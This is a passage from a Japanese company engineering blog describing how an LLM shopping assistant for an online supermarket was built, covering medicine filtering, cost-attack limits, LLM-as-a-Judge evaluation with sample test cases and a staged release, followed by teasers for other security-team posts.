初期画面とメッセージ入力欄

LLMの外側でのフィルタリング

特に医薬品を推薦することはリスクが大きいため、プロンプトでの制御だけではなく、お買い物AIが万が一医薬品を推薦しないように医薬品を推薦商品から除外する処理をLLMの外側で実装しています。

AI破産(EDoS攻撃)への対策

LLMの従量課金における経済的損失を狙う攻撃です。

  • 1日の利用上限回数を設ける
    • 1人当たり1日N回までの制限を設ける
  • 入力トークン数に上限を設ける
    • 入力文字数の制限、入力画像の圧縮や枚数制限を設る
  • 出力トークン数に上限を設ける
    • モデル側で出力トークン数の上限を設ける

また、完全な対策は難しいと考えたため、コストに関してのアラート通知を設定しています。 コストが一定以上になれば、アラート通知を受け取り、すぐにお買い物AIを無効化できるようにしています。

プロジェクトの進め方

LLMアプリケーションの開発は、仕様通りに開発すればリリースできるというわけではありません。 実際に触ってみないと体験の良し悪しが分からないため、プロトタイプを素早く作り、人間によるフィードバックを得ながら開発しました。

この作っては評価するというサイクルは、普段行っている検索・推薦ロジックの改善プロセスと同じ考え方だなと感じました。

1. PoC: LLMによる返答と商品名リスト生成の品質検証

LLMによる返答メッセージと商品名リスト生成の品質が実用に足るか、コスト・レイテンシはどの程度かを見極めるためデモを作成しました。 返答メッセージや商品名リストの内容、コストやレイテンシなどの非機能面を複数のモデルで比較しました。

たとえば、次の要件が実現できるのかを確かめました。

  • 献立の提案ができるか、必要な商品を提案できるか
  • 買い物メモの写真やスクリーンショットから、必要な商品を提案できるか
  • 過去にした会話の文脈を理解し商品の提案ができるか
  • スコープ外の質問(医療相談など)を適切に断れるか

デモ環境

このデモ環境を社内に公開しフィードバックを得ました。 これなら実用に足りそうだと分かり、本開発へ進みました。

2. 本番運用への落とし込み(仕様策定・設計・実装)

次に、本番運用できるレベルにするため仕様策定や設計、実装をしました。 前述の設計の章で触れたようなことを検討し実装しました。

他にも、データベーススキーマ設計や評価のためのログ設計、画像の取り扱いなどなど細部について詰めました。

3. 社内ドッグフーディング:実機でしか分からない違和感を無くす

実装が一定形になり開発環境で動作するようになった段階で、再び社内に公開しました。 今回はデモ環境ではなく、実際のスマートフォンでユーザーが使うのと同じアプリとして触ってもらいました。 実機特有のフィードバックを元に、プロンプトの調整やUIの微修正を繰り返しました。

4. 評価の自動化: LLM-as-a-Judgeによる品質管理

開発が終盤になると、プロンプトの一部を修正すると、別のパターンの回答が壊れたことに気づけない問題がありました。 手動で膨大なケースを確認するのは不可能なため、LLM-as-a-Judgeの仕組みを導入しました。

  • 仕組み: 評価対象はお買い物AIのレスポンスで、評価者(LLM)がいくつかの観点でスコアリングします。
  • 目的: お買い物AIの品質を定量で評価するため。ユニットテストとは異なり、全評価パターン100点を目指すというよりは、プロンプト変更前後でスコアがどう変わったかを定量評価するために活用します。
  • 運用: 最初からリッチなLLMOpsツール(LangSmith等)の導入するのではなく、まずは軽量のスクリプトで実装しました。お買い物AIが継続的な改善フェーズに入った段階でLLMOpsツールを利用する方針をとりました。

このように評価を自動化することで、プロンプトのチューニングを恐れずに進めることができました。

LLM-as-a-Judgeの具体例

次のように評価ケースを定義して、LLMに評価させます。 お買い物AIにuser_messageを入力して、出力として返答メッセージ、対応スコープ内かどうか、商品名リストを受け取ります。 評価者(LLM)は、お買い物AIの出力がexpected_is_out_of_scope, expected_behaviorとマッチしているかどうかを0.0〜1.0でそれぞれの評価観点でスコアリングします。 人間はスコアが低かった評価ケースを結果を定性的に評価したり、平均スコアを定量的に評価することで品質をチェックします。

EVALUATION_DATASET = [
    # アレルギーに関する質問は対応スコープ外なので、商品を提案すべきでなく商品ページの確認と専門家への相談を促すべき
    EvaluationCase(
        conversation=[
            ConversationTurn(
                user_message="卵アレルギーがあるんですが、何を食べればいいですか?",
                expected_is_out_of_scope=True,
                expected_behavior="商品ページの確認と専門家への相談を促す",
            )
        ]
    ),
    # 料理に関する質問は対応スコープ内なので、ユーザーの意図に沿う簡単に食べられる商品を提案
    EvaluationCase(
        conversation=[
            ConversationTurn(
                user_message="料理する気力ない",
                expected_is_out_of_scope=False,
                expected_behavior="簡単に食べられる商品を提案",
            )
        ]
    ),
    # 続く
]

5. 段階的リリース

フィーチャーフラグを利用した段階的リリースにより、まずは一定割合のユーザーに対してのみ本番で機能を有効化しました。 何か致命的な不具合があった時のリスクヘッジや、サーバーへの負荷がどれくらいなのか、コストは見積もりとどれくらい乖離があるのかなど、不確実なことが多かったからです。

また、フィーチャーフラグにより簡単にお買い物AIを無効化できるようにしています。

おわりに

本記事では、ネットスーパーにおける購入体験をアップデートするために、LLMを活用したお買い物AIを実プロダクトとしてリリースするまでの道のりをご紹介しました。 LLMアプリケーションの開発において、単に動くことと本番運用に耐えられることの間には、大きな溝があります。 今回のプロジェクトでは、次のポイントを重視してその溝を埋めるようにしました。

  • 自律性と制御のトレードオフ: 自律性と安全性・ガバナンスのトレードオフを考慮し、あえてシンプルなLLM Callを選択することで、パフォーマンスと安全性を担保したこと。
  • 多層的なガードレールの構築: AI破産対策やプロンプトインジェクション対策を構造的に組み込み、在庫管理や医薬品販売などのルールはLLMの外側(コード側)担保したこと。
  • LLM-as-a-Judgeによる評価: ユニットテストやQAでは担保できないLLMの応答の妥当性をLLM自身に評価させることで改善サイクルを高速化したこと。

今回は、商品探索のサポートにフォーカスしましたが、LLMにはお客様の買い物体験をより根本から進化させる可能性があると思います。 今後は、コンテキストをさらに利用することで個々ユーザーの好みを反映したパーソナライズの強化や、より自律性の高いLLMアプリケーションにも挑戦していきたいです。


僕が所属しているCXチームではエンジニアを募集中です! 少しでも気になった方はぜひカジュアル面談をしましょう!

product.10x.co.jp open.talentio.com

参考

初めてのLangChain - O'Reilly Japan

実践 LLMアプリケーション開発 - O'Reilly Japan

AI破産を防ぐために - LLM API利用におけるEconomic DoSのリスクと対策 - GMO Flatt Security Blog

LLM / 生成AIを活用するアプリケーション開発におけるセキュリティリスクと対策 - GMO Flatt Security Blog

LLMガードレールの活用法と役割を正しく理解する - GMO Flatt Security Blog

プロンプトインジェクション対策: 様々な攻撃パターンから学ぶセキュリティのリスク - GMO Flatt Security Blog

業務利用してるSaaSやWebサービスを把握する「ITサービスカタログ」について

こんにちは、こんばんは、おやすみなさい。id:sota1235です。

私は組織図上、セキュリティチームに所属しています。

ですが次の記事でも言及しているとおりここ1年弱の間はCorpIT業務も担っています。

10x.co.jp

本日はCorpIT業務を引き継ぎ、改善していく過程で取り組んだ「業務で利用しているSaaSやWebサービスを把握」について紹介します。

  • 課題
    • 引き継いだタイミングの状況
    • 何があるかわからない
    • さまざまな課題
      • CorpIT観点
      • セキュリティ観点
      • 管理方法の課題
    • どう課題に立ち向かうか
  • どのように取り組んだか
    • ToBeを考える
      • サービス管理台帳的なものの存在は必須
      • 管理台帳に相応しいのはSaaS管理SaaSでもスプレッドシートでもなさそう
      • いったん、目指すところ: Notionでサービス管理台帳を作ろう
    • まずは箱を作る
      • プロパティセクションを使う
      • 管理するための情報の記載に留める
    • 把握して箱を埋めていく
    • 把握したものの解像度を上げる
    • 取り組みの途中でみつけた課題は溜めておく
    • 今後、新しく生まれるものを取りこぼさないようにする
  • 完成したITサービスカタログの運用
    • よかった点
      • ナレッジストック場所としてのITサービスカタログ
      • CorpITの改善への活用
    • 課題
      • ITサービスカタログに載せる基準
      • 誰がいつ書いて保守するのか
  • 最後に
続きを読む

Octo STSで実現する"いい塩梅"のGitHub App Token運用

10X Product Blog読者の皆さん、こんにちはこんばんは、セキュリティチームのyagihashです。
この記事は、10X 新春ブログリレー 2026の1月31日の記事です。

本日は掲題の通り、10Xで導入したOcto STSというGitHub App Tokenの管理のための仕組みについて、背景にあった課題や使用感などを交えて紹介します。

9月から寝かしていた記事を締め切り駆動で書き切ってしまおうと思い立ち、まだ白紙の状態だったので締め切りは先の方がいいな…と思っていたらトリを務めることになってしまいました。緊張して声がうまく出なくてどうしようと思いましたが、ブログなので関係ありませんでした。どうぞ最後までお楽しみください。

github.com

続きを読む

セキュリティチームの輪読会についてご紹介

こんにちは、こんばんは、おやすみなさい。id:sota1235です。

この記事は10X 新春ブログリレー 2026の29日目の記事です。

新春というにはもう2月が目前に迫っている気もしますが細かいことは気にせず、今回は私が所属するセキュリティチームの取り組みである輪読会について緩く紹介しようと思います。

  • セキュリティチーム輪読会とは
  • なぜ輪読会をやるのか
    • きっかけ
    • 情報収集の時間軸
  • どうやってやってるのか
    • 輪読会のネタ出し
    • 細く長く無理なく、がテーマ
    • ガンガン脱線してもいい輪読会
    • どれくらい続いてるのか
  • 読んだコンテンツをいくつか紹介
    • GitHub Organizationの安全な運用とモニタリングに関するスライド(全44ページ)を無償公開しました
    • クレジットカード・セキュリティガイドライン【4.0版】
    • 基礎から学ぶコンテナセキュリティ
      • その他
  • 最後に
続きを読む